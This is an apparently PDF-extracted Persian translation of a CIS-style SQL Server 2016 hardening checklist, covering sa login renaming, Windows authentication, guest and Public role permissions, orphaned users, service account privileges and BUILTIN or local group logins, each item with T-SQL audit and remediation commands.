به پایگاه داده را  brute-forceانجام این کار احتمال حملات  ،نام کاربریبا توجه به مشهور بودن این 

 دهد.می کاهش

 :بررسیی نحوه •

 وجود دارد یا خیر. saبررسی کنید که آیا حسابی با نام  SQL Serverبا استفاده از دستور زیر در 

https://www.cisecurity.org/benchmark/microsoft_sql_server/
https://docs.microsoft.com/en-us/sql/relational-databases/databases/security-best-practices-with-contained-databases?view=sql-server-2016
https://docs.microsoft.com/en-us/sql/relational-databases/databases/security-best-practices-with-contained-databases?view=sql-server-2016
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SELECT principal_id, name 

FROM sys.server_principals 

WHERE name = 'sa'; 

 هیچ سطری نباید بازگردانده شود.

 :اعمالی نحوه •

 DROPیا  ALTERدستورات  ،بازگردانده شده saبا نام  نام کاربریای که برای  principal_idبا توجه به 

به آن  saخواهید می ری را کهمقدا <different_name>مناسب را در پایین اجرا کنید. توجه کنید که به جای 

 تغییر نام داده شود را اجرا کنید.

USE [master] 

GO 

-- If principal_id = 1 or the login owns database objects, rename the sa login 

ALTER LOGIN [sa] WITH NAME = <different_name>; 

GO 

-- If the login owns no database objects, then drop it 

-- Do NOT drop the login if it is principal_id = 1 

DROP LOGIN sa 

 یش فرض:مقدار پ •

 شده است. یگذارنام saفرض به صورت پیش principal_id = 1با  نام کاربری

 :تاثیرات کار •

از لحاظ امنیتی مناسب نیست ها در نرم افزارها و اسکریپت saاستفاده از حساب  ،همان طور که اشاره شد

نام وجود  Party rd3های فزاراما برخی نرم ا ،است saتغییر نام دادن و غیرفعال کردن حساب  بهترین کار، و
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جلوی  sa نام کاربریکنند. حذف کردن می یکی درست ،کنند و اگر وجود نداشتمی را بررسی saبا نام  کاربری

 گیرد.می راها و اسکریپتها این دست نرم افزار

 :منابع •

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

 

 

 

 

 

 

 

 مجوزدهیاحراز هویت و  .4.3

 Windows»به « Server Authentication»مطمئن شوید گزینه  .4.3.1

Authentication mode »شده باشد.تنظیم 

دو راه وجود دارد؛ احراز هویت از طریق  ،شوندکه به پایگاه داده زده مییی هااتصالبرای اعتبار سنجی 

برای اعتبار احراز هویت از طریق ویندوز شود که از . توصیه میSQL Serverویندوز و احراز هویت از طریق 

 شوند استفاده کنید.که به پایگاه داده زده مییی هااتصالسنجی 

 :منطق کار •

-استفاده می SQL Serverه احراز هویت خود برای احراز هویت نسبت ب یترمستحکمویندوز از مکانیزم 

نام  SQL Sever ،کند. به این صورت که اگر یک کاربر توسط یک حساب ویندوز به پایگاه داده متصل شود

https://www.cisecurity.org/benchmark/microsoft_sql_server/
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کند. این بدین معنی است که در سیستم عامل اعتبار سنجی میهای آن را با استفاده از توکن رمز عبورحساب و 

. احراز هویت توسط ویندوز SQL Serverدهد و نه ز عمل احراز هویت را انجام میواقع خود سیستم عامل ویندو

-پشتیبانی می password expirationو  account lockoutکند و از استفاده می Kerberosاز پروتکل امنیتی 

سطح دامنه ساخته ویندوزی که در های توان از گروهمی احراز هویت از طریق ویندوزکند. همچنین با استفاده از 

مدیریت برای کل گروه ساخت تا عمل  SQL Server نام کاربریتوان با آن یک استفاده کرد و می اندهشد

در داخل خود  رمز عبوراستفاده شود نام کاربری و  SQL Server Authenticationاما اگر از ؛ ساده شود کاربران

SQL Server های ام حساببایست برای تمشود و شما میذخیره میSQL Server قوی بگذارید.  یرمز عبورها

بایست در هنگام رمزنگاری شده می رمز عبور ،SQL Server Authenticationهمچنین در صورت استفاده از 

ممکن است این رمز عبور را در سمت کلاینت ذخیره ها افزاردر داخل شبکه منتقل شود. برخی از نرم اتصال

 SQL Serverحل حمله )از طریق رمزگشایی پسوورد رمزنگاری شده( خواهد بود. البته کنند و این خود یک م

Authentication خاص خودش را دارد که های تر یا محیطقدیمیهای افزارمزایایی هم مانند پشتیبانی از نرم

 مراجعه کنید. Microsoftهای توانید به پروندهبرای بررسی آن می

https://docs.microsoft.com/en-us/sql/relational-databases/security/choose-an-authentication-

mode?view=sql-server-2017 

 :بررسی ینحوه •

 دستور زیر را اجرا کنید.

SELECT SERVERPROPERTY('IsIntegratedSecurityOnly') as [login_mode]; 

 Serverیخصیصهبه این معنا خواهد بود که  ،باشد 1ای که بازگردانده شده  login_modeاگر مقدار 

Authentication  روی حالتWindows Authentication این خصیصه  ،باشد 0ن مقدار تنظیم شده است. اگر ای

 تنظیم شده است. mixed authenticationروی حالت 

 :اعمالی نحوه •

 زیر را انجام دهید:های گام SQL Server Management Studioدر داخل 

https://docs.microsoft.com/en-us/sql/relational-databases/security/choose-an-authentication-mode?view=sql-server-2017
https://docs.microsoft.com/en-us/sql/relational-databases/security/choose-an-authentication-mode?view=sql-server-2017
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 خواهید وصل شوید.که میای هرا باز کنید و به پایگاه داد Object Explorerی زبانه -1

 را انتخاب کنید. propertiesی راست کلیک کنید و سپس گزینهپایگاه داده ی روی نام نمونه -2

 را انتخاب کنید. Securityی صفحه ،از منوی سمت چپی -3

 تنظیم کنید. Windows Authenticationرا روی حالت  Server authenticationی گزینه -4

 زیر را اجرا کنید. T-SQLتوانید دستور همچنین می -5

USE [master] 

GO 

EXEC xp_instance_regwrite N'HKEY_LOCAL_MACHINE', 

N'Software\Microsoft\MSSQLServer\MSSQLServer', N'LoginMode', REG_DWORD, 1 

GO 

 ی مجدد کنید.اندازراهرا  SQL Serverبرای این که این تغییرات اعمال شود باید 
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 مقدار پیش فرض: •

Windows Authentication Mode 

 تاثیر کار: •

 سرویس پایگاه داده را دارد.مجدد  یاندازراهنیازمند  ،نام کاربریتغییر دادن حالت 

 :منابع •

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

https://docs.microsoft.com/en-us/sql/relational-databases/security/choose-an-authentication-

mode?view=sql-server-2016 

https://docs.microsoft.com/en-us/sql/relational-databases/security/security-center-for-sql-server-

database-engine-and-azure-sql-database?view=sql-server-2016 

به همراه تمام پایگاه  «guest user»های اتصال بر روی مطمئن شوید گزینه مجوز .4.3.2

لغو شده « tempdb»و « master» ،«msdb»استثنای به« SQL Server»های داده

 .باشد

 tempdbو  msdbو  masterبه غیر از  ،SQL Serverهای برای اتصال به پایگاه داده guestحقوق کاربر 

 باید سلب شود.

 :منطق کار •

دسترسی داشته باشد ولی به پایگاه داده در طول حساب  SQL Serverبه  نام کاربریهنگامی که یک 

هویت کاربر  ،نام کاربریآن  ،داشته باشد guestخود دسترسی نداشته باشد و پایگاه داده یک حساب کاربری 

guest از کاربر  اتصالمجوز  شود. سلب کردندر نظر گرفته میguest آورد که یک این اطمینان را به وجود می

 به اطلاعات داخل آن دسترسی نداشته باشد. ،بدون داشتن دسترسی اختصاصی به یک پایگاه داده نام کاربری

https://www.cisecurity.org/benchmark/microsoft_sql_server/
https://docs.microsoft.com/en-us/sql/relational-databases/security/choose-an-authentication-mode?view=sql-server-2016
https://docs.microsoft.com/en-us/sql/relational-databases/security/choose-an-authentication-mode?view=sql-server-2016
https://docs.microsoft.com/en-us/sql/relational-databases/security/security-center-for-sql-server-database-engine-and-azure-sql-database?view=sql-server-2016
https://docs.microsoft.com/en-us/sql/relational-databases/security/security-center-for-sql-server-database-engine-and-azure-sql-database?view=sql-server-2016
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 :بررسیی نحوه •

را دارد یا  اتصالمجوز  guestر پایگاه داده اجرا کنید تا مشخص شود که کاربر قطعه کد زیر را برای ه

 مربوطه را بگذارید.(ی نام پایگاه داده <database_name>خیر. )به جای 

USE [<database_name>]; 

GO 

SELECT DB_NAME() AS DatabaseName, 'guest' AS Database_User, 

[permission_name], [state_desc] 

FROM sys.database_permissions 

WHERE [grantee_principal_id] = DATABASE_PRINCIPAL_ID('guest') 

AND [state_desc] LIKE 'GRANT%' 

AND [permission_name] = 'CONNECT' 

AND DB_NAME() NOT IN ('master','tempdb','msdb'); 

 هیچ سطری نباید بازگردانده شود.

 :اعمالی نحوه •

اجرا  ،گرفته شود هاآن guestاز کاربر  اتصالخواهید مجوز که میهایی قطعه کد زیر را برای پایگاه داده

 مربوطه را بگذارید.(ی نام پایگاه داده <database_name>کنید. )به جای 

USE [<database_name>]; 

GO 

REVOKE CONNECT FROM guest; 

 مقدار پیش فرض: •



 

 

 
 

51 

 

 

 

 Microsoft SQL یسازمقاوم یابیفهرست ارز

Server 2016 –  2.0.0نسخه 

را  اتصالشود ولی مجوز جدید اضافه میی به هر پایگاه داده guestربری فرض حساب کابه طور پیش

 نخواهد داشت.

 تاثیر کار: •

بایست می SQL Serverی نمونه نام کاربرییک  ،شودگرفته می guestاز کاربر  اتصالهنگامی که مجوز 

 داده دسترسی داشته باشد.( شود تا بتواند به پایگاه mapبه یک کاربر پایگاه داده به طور صریح نگاشت )

و  msdbو  masterهای در پایگاه داده guestاز کاربر  اتصالتوجه داشته باشید که امکان گرفتن مجوز 

tempdb ی داخل یک نمونههای وجود ندارد ولی این مجوز برای سایر پایگاه دادهSQL Server .باید گرفته شود 

 :منابع •

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

https://docs.microsoft.com/en-us/sql/relational-databases/policy-based-management/guest-

permissions-on-user-databases?view=sql-server-2017 

شده حذف« SQL Server»های از پایگاه داده« Orphaned Users»مطمئن شوید  .4.3.3

 .باشد

متناظر با آن تعریف نشده باشد یا این که به طور  SQL Server نام کاربرییک کاربر پایگاه داده که 

متصل شود و از آن به عنوان  ی پایگاه دادهتواند به نمونهنمی ،سرور تعریف شده باشدی نادرستی روی یک نمونه

تواند به وجود آید که مثلا پایگاه نی میزما Orphanشود و باید حذف شود. یک کاربر یاد می orphanedکاربر 

 مربوط به آن حذف شود.ی داده

 :منطق کار •

به هر نحوی ها نادرست از آن کاربری بایست حذف شوند تا جلوی احتمال استفادهمی Orphanکاربران 

 گرفته شود.

https://www.cisecurity.org/benchmark/microsoft_sql_server/
https://docs.microsoft.com/en-us/sql/relational-databases/policy-based-management/guest-permissions-on-user-databases?view=sql-server-2017
https://docs.microsoft.com/en-us/sql/relational-databases/policy-based-management/guest-permissions-on-user-databases?view=sql-server-2017
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 :بررسیی نحوه •

آن مشخص شود. )به جای  Orphanاجرا کنید تا کاربران  ،زیر را برای هر پایگاه داده T-SQL وجوپرس

<database_name> مربوطه را بگذارید.(ی نام پایگاه داده 

USE [<database_name>]; 

GO 

EXEC sp_change_users_login @Action='Report';  

 هیچ سطری نباید بازگردانده شود.

 :اعمالی نحوه •

 Microsoftمرجع ی طلاعات موجود در پروندهرا با توجه به ا Orphanاگر نتوانید یا نخواهید که یک کاربر 

 را پاک کنید. Orphanزیر یک کاربر  T-SQLتوانید با اجرای دستور می ،زیر پاک کنید

USE [<database_name>]; 

GO 

DROP USER <username>; 

 :منابع •

https://docs.microsoft.com/en-us/sql/sql-server/failover-clusters/troubleshootorphaned- 

users-sql-server 

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

 استفاده «Contained»های در پایگاه داده«  SQL»مطمئن شوید احراز هویت  .4.3.4

 .نشده باشد

https://docs.microsoft.com/en-us/sql/sql-server/failover-clusters/troubleshootorphaned-
https://docs.microsoft.com/en-us/sql/sql-server/failover-clusters/troubleshootorphaned-
https://www.cisecurity.org/benchmark/microsoft_sql_server/
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ای هایزوله شده است و از نمونها پایگاه دادهی از بقیه است کهای هپایگاه داد ،Contained Databaseیک 

 کند.باشد که پایگاه داده را میزبانی میمی SQL Serverاز 

دارند و توسط پایگاه  رمز عبورکاربرانی که  -1وجود دارند: ها Contained Databaseدو دسته کاربر برای 

توانند به طور مستقیم به پایگاه ده توسط ویندوز که میکاربران احراز هویت ش -2شوند. داده احراز هویت می

 داده متصل شوند.

شوند قوانینی جهت احراز هویت می SQLبرای کاربرانی که از طریق  ،هاContained Databaseدر 

 در نظر گرفته نشده است. ،پیچیده رمز عبورگذاشتن 

 :منطق کار •

 ضعیف را بالا ببرد. رمزتمال قرار دادن یک ممکن است اح ،اعمال شده رمز عبورنبود یک سیاست 

 :بررسیی نحوه •

را که از ای هتا کاربران پایگاه داد اجرا کنید Contained Databaseدر داخل هر  ،زیر را T-SQLدستور 

SQL Authentication پیدا کنید. ،کننداستفاده می 

SELECT name AS DBUser 

FROM sys.database_principals 

WHERE name NOT IN ('dbo','Information_Schema','sys','guest') 

AND type IN ('U','S','G') 

AND authentication_type = 2; 

GO 

 هیچ سطری نباید بازگردانده شود.

 :اعمالی نحوه •
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 را به حالت احراز هویت با ویندوز تغییر دهید. Contained Databaseکاربران 

 مقدار پیش فرض: •

 مجاز هستند. ،هاContained Databaseدر  SQLکاربران احراز هویت شده توسط 

 تاثیر کار: •

های مختلف و محیطهای به نمونه ،هادر انتقال دادن پایگاه داده ،هاContained Databaseدر حالی که 

مکانیزم پسوورد دهی  یچهاین مسئله باید در نظر گرفته شود که از آنجایی که  ،کنندمختلف انعطاف ایجاد می

باید به صورت متعادل از این قابلیت همراه با  ،وجود ندارد ،شونداحراز هویت می SQLبرای کاربرانی که از طریق 

 کاراکتر( استفاده شود. 14طولانی )مثلا بیش از های رمز عبور

 :منابع

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

https://docs.microsoft.com/en-us/sql/relational-databases/databases/security-best-practices-with-

contained-databases?view=sql-server-2016 

https://docs.microsoft.com/en-us/sql/relational-databases/databases/contained-

databases?view=sql-server-2016 

 

دارای سطح  SQL Serverمطمئن شوید حساب کاربری سرویس پایگاه داده  .4.3.5

 .دسترسی مدیر نباشد

ی فرض یا نمونهپیشی برای یک نمونه MSSQLSERVERویس حساب کاربری سرویس که توسط سر

 Administratorشود نباید عضوی از گروه استفاده می ،<MSSQL$<InstanceNameمثل ای هگذاری شدنام

 ویندوز باشد؛ چه به طور مستقیم و چه غیر مستقیم و از طریق گروه.

https://www.cisecurity.org/benchmark/microsoft_sql_server/
https://docs.microsoft.com/en-us/sql/relational-databases/databases/security-best-practices-with-contained-databases?view=sql-server-2016
https://docs.microsoft.com/en-us/sql/relational-databases/databases/security-best-practices-with-contained-databases?view=sql-server-2016
https://docs.microsoft.com/en-us/sql/relational-databases/databases/contained-databases?view=sql-server-2016
https://docs.microsoft.com/en-us/sql/relational-databases/databases/contained-databases?view=sql-server-2016
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 NT)با نام مستعار LocalSystemای که به نام ن معنا خواهد بود که حساب کاربریاین بدی

AUTHORITY\SYSTEMنباید برای سرویس  ،شودمی ( شناختهMSSQL  استفاده شود زیرا این حساب

 دارد. SQL Serverمورد نیاز سرویس های های بالاتری نسبت به مجوزکاربری مجوز

 :منطق کار •

های بیشتری از میزان اید مجوزشویم که حساب سرویس نبمتوجه می ،با پیروی از سیاست کمترین مجوز

های مجوز SQL Server، SQL Server Setupهای مورد نیازش برای انجام کارش داشته باشد. برای سرویس

مورد نیاز نخواهد ای هو مجوز اضاف دهد و هیچ اجازهاختصاص می SIDیم به سرویس قمورد نیاز را به طور مست

 بود.

 :بررسیی نحوه •

 ویندوز نباشند. Administrationعضو گروه  SIDبررسی کنید که حساب سرویس و سرویس 

 :اعمالی نحوه •

برای تغییر  SQL Server Configuration Managerاز  ،استفاده شده باشد LocalSytemدر شرایطی که 

را از گروه  SIDحساب یا سرویس  ،دادن به یک حساب با مجوزهای کمتر استفاده کنید. در غیر اینصورت

Administration  حذف کنید. ممکن است نیاز باشد شماSQL Server Configuration Manager  را در

در ابتدا برای  SQL Server Configuration Managerیا اینکه  ،صورتی که مجوزهای اساسی تغییر کرده باشند

 تنظیم کردن حساب سرویس استفاده نشده باشد، اجرا کنید.

 پیش فرض:مقدار  •

 نیست. Administration( عضوی از اعضای گروه SIDحساب سرویس )یا سرویس  ،فرضبه طور پیش

 تاثیر کار: •
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 SQLهمواره باید برای تغییر دادن حساب سرویس  SQL Server Configuration Managerابزار 

Server مورد نیاز را داشته باشد. اگر های مجوز ،کند که حساباستفاده گردد. این ابزار شما را مطمئن می

 ،را تعیین کرده هاآن Microsoftاستانداردی که های registryو ها directoryسرویس نیاز به منابع بیشتری از 

 توانند به آن منابع تخصیص داده شوند.اضافه میهای آنگاه مجوز ،داشته باشد

 :منابع •

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/configure-windows-

service-accounts-and-permissions?view=sql-server-2016 

 SQL Serverپایگاه داده  SQLAgentمطمئن شوید حساب کاربری سرویس  .4.3.6

 .مدیر نباشددارای سطح دسترسی 

-نامی فرض یا نمونهپیشی برای یک نمونه SQLSERVERAGENTحساب کاربری که توسط سرویس 

 Administratorشود نباید عضوی از گروه استفاده می ،<SQLAGENT$<InstanceNameمثل ای هگذاری شد

 ویندوز باشد؛ چه به طور مستقیم و چه غیر مستقیم و از طریق گروه.

نباید برای  ،شودمی شناخته LocalSystemای که به نام معنا خواهد بود که حساب کاربریاین بدین 

مورد نیاز های های بالاتری نسبت به مجوزاستفاده شود زیرا این حساب کاربری مجوز SQLAGENTسرویس 

 دارد. SQL Serverسرویس 

 :منطق کار •

های بیشتری از میزان حساب سرویس نباید مجوزشویم که متوجه می ،با پیروی از سیاست کمترین مجوز

های مجوز SQL Server، SQL Server Setupهای مورد نیازش برای انجام کارش داشته باشد. برای سرویس

مورد نیاز نخواهد ای هو مجوز اضاف دهد و هیچ اجازهاختصاص می SIDیم به سرویس قمورد نیاز را به طور مست

 بود.

https://www.cisecurity.org/benchmark/microsoft_sql_server/
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/configure-windows-service-accounts-and-permissions?view=sql-server-2016
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/configure-windows-service-accounts-and-permissions?view=sql-server-2016
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 :بررسیی نحوه •

 ویندوز نباشند. Administrationعضو گروه  SIDبررسی کنید که حساب سرویس و سرویس 

 :اعمالی نحوه •

برای تغییر  SQL Server Configuration Managerاز  ،استفاده شده باشد LocalSytemدر شرایطی که 

را از گروه  SIDحساب یا سرویس  ،دادن به یک حساب با مجوزهای کمتر استفاده کنید. در غیر اینصورت

Administration  حذف کنید. ممکن است نیاز باشد شماSQL Server Configuration Manager  را در

در ابتدا برای  SQL Server Configuration Managerیا اینکه  ،صورتی که مجوزهای اساسی تغییر کرده باشند

 تنظیم کردن حساب سرویس استفاده نشده باشد، اجرا کنید.

 پیش فرض:مقدار  •

 نیست. Administration( عضوی از اعضای گروه SIDحساب سرویس )یا سرویس  ،فرضبه طور پیش

 تاثیر کار: •

 SQLهمواره باید برای تغییر دادن حساب سرویس  SQL Server Configuration Managerابزار 

Server مورد نیاز را داشته باشد. اگر های مجوز ،کند که حساباستفاده گردد. این ابزار شما را مطمئن می

 ،را تعیین کرده هاآن Microsoftاستانداردی که های registryو ها directoryسرویس نیاز به منابع بیشتری از 

 توانند به آن منابع تخصیص داده شوند.اضافه میهای مجوز آنگاه ،داشته باشد

 :منابع •

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/configure-windows-

service-accounts-and-permissions?view=sql-server-2016 

 

https://www.cisecurity.org/benchmark/microsoft_sql_server/
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/configure-windows-service-accounts-and-permissions?view=sql-server-2016
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/configure-windows-service-accounts-and-permissions?view=sql-server-2016
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دارای  SQL Serverپایگاه داده  Full-Textمطمئن شوید حساب کاربری سرویس  .4.3.7

 .ی مدیر نباشدسطح دسترس

-نامی فرض یا نمونهپیشی برای یک نمونه MSSQLFDLauncherحساب کاربری که توسط سرویس 

شود نباید عضوی از گروه استفاده می ،<MSSQLFDLauncher$<InstanceNameمثل ای هگذاری شد

Administrator .ویندوز باشد؛ چه به طور مستقیم و چه غیر مستقیم و از طریق گروه 

نباید برای  ،شودمی شناخته LocalSystemکه به نام  اییکاربراین بدین معنا خواهد بود که حساب 

مورد نیاز های های بالاتری نسبت به مجوزاستفاده شود زیرا این حساب کاربری مجوز Full-Textسرویس 

 دارد. SQL Serverسرویس 

 :منطق کار •

های بیشتری از میزان شویم که حساب سرویس نباید مجوزمتوجه می ،با پیروی از سیاست کمترین مجوز

های مجوز SQL Server، SQL Server Setupهای مورد نیازش برای انجام کارش داشته باشد. برای سرویس

مورد نیاز نخواهد ای هو مجوز اضاف دهد و هیچ اجازهاختصاص می SIDیم به سرویس قمورد نیاز را به طور مست

 بود.

 

 :بررسیی نحوه •

 ویندوز نباشند. Administrationعضو گروه  SIDبررسی کنید که حساب سرویس و سرویس 

 اعمالی نحوه •

برای تغییر  SQL Server Configuration Managerاز  ،استفاده شده باشد LocalSytemدر شرایطی که 

را از گروه  SIDحساب یا سرویس  ،دادن به یک حساب با مجوزهای کمتر استفاده کنید. در غیر اینصورت

Administration  حذف کنید. ممکن است نیاز باشد شماSQL Server Configuration Manager  را در
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در ابتدا برای  SQL Server Configuration Managerیا اینکه  ،صورتی که مجوزهای اساسی تغییر کرده باشند

 جرا کنید.تنظیم کردن حساب سرویس استفاده نشده باشد، ا

 مقدار پیش فرض: •

 نیست. Administration( عضوی از اعضای گروه SIDحساب سرویس )یا سرویس  ،فرضبه طور پیش

 تاثیر کار: •

 SQLهمواره باید برای تغییر دادن حساب سرویس  SQL Server Configuration Managerابزار 

Server مورد نیاز را داشته باشد. اگر های مجوز ،حسابکند که استفاده گردد. این ابزار شما را مطمئن می

 ،را تعیین کرده هاآن Microsoftاستانداردی که های registryو ها directoryسرویس نیاز به منابع بیشتری از 

 توانند به آن منابع تخصیص داده شوند.اضافه میهای مجوز آنگاه ،داشته باشد

 :منابع •

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/configure-windows-

service-accounts-and-permissions?view=sql-server-2016 

 

به  Microsoftپیش فرض مشخص شده توسط های مطمئن شوید که تنها مجوز .4.3.8

«Public Role ».اعطا شده باشند 

Public Role  های شود. در راستای سیاستمی هاینام کاربری است که شامل همه ثابت ویژهنقش یک

زیرا در این صورت  ،سرور استفاده شودنباید جهت اعطای مجوز در محدوده  Public Roleاز  ،کمترین مجوز

 کاربران ارث بری خواهد شد.ی توسط همه

 :منطق کار •

https://www.cisecurity.org/benchmark/microsoft_sql_server/
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/configure-windows-service-accounts-and-permissions?view=sql-server-2016
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/configure-windows-service-accounts-and-permissions?view=sql-server-2016
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بنابراین هر ؛ حذف شود نقشتواند از این است و نمی Public Roleمتعلق به  SQL Server کاربرینام هر 

به صورت  هاآنمگر اینکه از  ،دسترس خواهد بود در هاینام کاربری اعطا شود برای همه نقشمجوزی که به این 

 ( شود.deny) یریجلوگ ،ینام کاربربرای  ،صریح

 :بررسیی نحوه •

اعطا شده است یا  Public Roleاضافی به های زیر استفاده کنید تا مشخص شود که آیا مجوز از دستور

 خیر.

SELECT * 

FROM master.sys.server_permissions 

WHERE (grantee_principal_id = SUSER_SID(N'public') and state_desc LIKE 

'GRANT%') 

AND NOT (state_desc = 'GRANT' and [permission_name] = 'VIEW ANY DATABASE' 

and class_desc = 'SERVER') 

AND NOT (state_desc = 'GRANT' and [permission_name] = 'CONNECT' and 

class_desc = 'ENDPOINT' and major_id = 2) 

AND NOT (state_desc = 'GRANT' and [permission_name] = 'CONNECT' and 

class_desc = 'ENDPOINT' and major_id = 3) 

AND NOT (state_desc = 'GRANT' and [permission_name] = 'CONNECT' and 

class_desc = 'ENDPOINT' and major_id = 4) 

AND NOT (state_desc = 'GRANT' and [permission_name] = 'CONNECT' and 

class_desc = 'ENDPOINT' and major_id = 5); 

 سطری نباید بازگردانده شود.هیچ 

 :اعمالی نحوه •
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 ،دنکه به دسترسی نیاز داری هاینام کاربربالا را به  وجوپرسی غیرعادی یافته شده در نتیجههای مجوز

 اضافه کنید.

 به صورت زیر بگیرید. Public Roleرا از  <permission_name>مجوز  -1

USE [master] 

GO 

REVOKE <permission_name> FROM public; 

GO 

 مقدار پیش فرض: •

 را دارا CONNECTو مجوز  VIEW ANY DATABASEمجوز  Public Roleفرض به طور پیش

پایگاه  metadataدهد تا می اجازه هاینام کاربری به همه VIEW ANY DATABASEباشد. مجوز می

 صریح از آن جلوگیری شود. صورتبهمگر اینکه  ،را ببینندها داده

 کار:تاثیر  •

از برای کاربران دسترسی ممکن است  ،شودمی سلب Public Roleغیرعادی از های هنگامی که مجوز

اعطا به صورت صریح  ،که به دسترسی نیاز داردمورد نظر ی هایکاربربه ها این مجوزبرای جلوگیری دست برود 

 شود.

 :منابع •

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

https://docs.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-

level-roles?view=sql-server-2016 

https://docs.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-

level-roles?view=sql-server-2016#fixed-server-level-roles 

 

https://www.cisecurity.org/benchmark/microsoft_sql_server/
https://docs.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles?view=sql-server-2016
https://docs.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles?view=sql-server-2016
https://docs.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles?view=sql-server-2016#fixed-server-level-roles
https://docs.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles?view=sql-server-2016#fixed-server-level-roles
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 SQL»به صورت « Windows» در «BUILTIN»های مطمئن شوید گروه .4.3.9

Login ».نیستند 

با سطح دسترسی  BUILTIN\Administratorsگروه  ،در طول نصب ،SQL Server 2008قبل از 

sysadmin،  نام کاربریبه یک SQL Server ساخت یک گروه در سطح  های توصیه شدهروششد. اضافه می

Active Directory سطح  به این گروهباشد و  مدیران بانک اطلاعاتیهای کنند که شامل حسابرا توصیه می

 در این صورت مشخص شود و SQL Serverبایست در طول نصب شود. این گروه می اعطا ،sysadminدسترسی 

 نخواهد داشت. نام کاربریدیگر نیازی به یک  BUILTIN\Administratorsگروه 

 :منطق کار •

و غیره( به  Administrators, Everyone, Authenticated Users, Guests)شامل  BUILTINهای گروه

مبنی بر این  های توصیه شدهنیست. روششوند که چندان مناسب طور معمول شامل عضویت وسیعی می

نباید  هااین گروه و دسترسی داشته باشند SQL Serverی باید به یک نمونه ،کاربران مورد نیاز ،هستند که تنها

 ده شوند.برای دسترسی استفا

 

 

 :بررسیی نحوه •

 نام کاربریبه عنوان یا حسابی  BUILTINاز دستور زیر استفاده کنید تا مشخص شود که آیا هیچ گروه 

 یا خیر. اندهاضافه شد SQL Serverبه 

SELECT pr.[name], pe.[permission_name], pe.[state_desc] 

FROM sys.server_principals pr 

JOIN sys.server_permissions pe 

ON pr.principal_id = pe.grantee_principal_id 
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WHERE pr.name like 'BUILTIN%';  

 هیچ سطری نباید بازگردانده شود.

 :اعمالی نحوه •

 تعیین شدهبا محدودیت  Active Directoryیک گروه  ،BUILTIN نام کاربریبرای هر  ،در صورت نیاز -1

 کاربریِ ضروری باشد.های بسازید که تنها شامل حساب

 SQL Server نام کاربریکاربری ویندوزی را به عنوان یک های یا حساب Active Directoryگروه  -2

 اضافه کنید و به آن مجوزهای مورد نیاز را اعطا کنید.

ستفاده از دستور با ا [<BUILTIN\<name]در  <name>را بعد از عوض کردن  BUILTIN نام کاربری -3

 کنید.زیر حذف 

USE [master]; 

GO 

DROP LOGIN [BUILTIN\<name>]; 

GO 

 

 

 مقدار پیش فرض: •

 اضافه نشده است. SQL نام کاربریبه عنوان  ی BUILTINهیچ گروه  ،فرضبه طور پیش

 تاثیر کار: •

 Activeجایگزین های مطمئن شوید که گروه ،BUILTINگروه ی هاینام کاربرکردن  بل از حذفق

Directory  ممکن است  ،معادل اضافه شده باشند. در غیر این صورتهای ویندوز با مجوزی هاینام کاربریا

 به طور کامل غیر قابل دسترسی شود. SQL Serverی نمونه
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 :منابع •

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

 

 نیستند.« SQL Login»به صورت  در ویندوز محلیهای مطمئن شوید گروه .4.3.10

 استفاده شوند. SQL Serverهای برای نمونه نام کاربریمحلی ویندوز نباید به عنوان های گروه

 :منطق کار •

کند که به موجب آن می ایجادیک روزنه  SQL نام کاربریه عنوان محلی ویندوز بهای اجازه دادن به گروه

 ،را داشته باشد SQL Serverو نه حقوق دسترسی به  سیستم عامل مدیرهر کسی که حقوقی با سطح دسترسی 

 SQLی دسترسی به یک نمونه ،کاربر اضافه کند و در نتیجه به خودشان یا دیگران ،ویندوزهای تواند به گروهمی

Server .را اعطا کنند 

 :بررسیی نحوه •

 SQL Server نام کاربریبه عنوان  اییمحلاز دستور زیر استفاده کنید تا مشخص شود که آیا هیچ گروه 

 اضافه شده است یا خیر.

USE [master] 

GO 

SELECT pr.[name] AS LocalGroupName, pe.[permission_name], pe.[state_desc] 

FROM sys.server_principals pr 

JOIN sys.server_permissions pe 

ON pr.[principal_id] = pe.[grantee_principal_id] 

WHERE pr.[type_desc] = 'WINDOWS_GROUP' 

https://www.cisecurity.org/benchmark/microsoft_sql_server/
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AND pr.[name] like CAST(SERVERPROPERTY('MachineName') AS nvarchar) + '%'; 

 هیچ سطری نباید بازگردانده شود.

 :اعمالی نحوه •

معادل بسازید که تنها شامل  Active Directoryیک گروه  ،نام کاربریبرای هر  ،در صورت نیاز -1

 کاربریِ ضروری باشد.های حساب

 SQL نام کاربریکاربری فردی ویندوزی را به عنوان یک های یا حساب Active Directoryگروه  -2

Server .اضافه کنید و به آن مجوزهای مورد نیاز را اعطا کنید 

 کنید. با استفاده از دستور زیر حذف <name>را بعد از عوض کردن  موردنظر نام کاربری -3

USE [master]; 

GO 

DROP LOGIN [<name>]; 

GO 

 مقدار پیش فرض: •

 اضافه نشده است. SQL کاربربه عنوان  کاربریهیچ  ،فرضبه طور پیش

 

 کار:تاثیر  •

نام یا  Active Directoryجایگزین های مطمئن شوید که گروه ،هاینام کاربرکردن قبل از حذف 

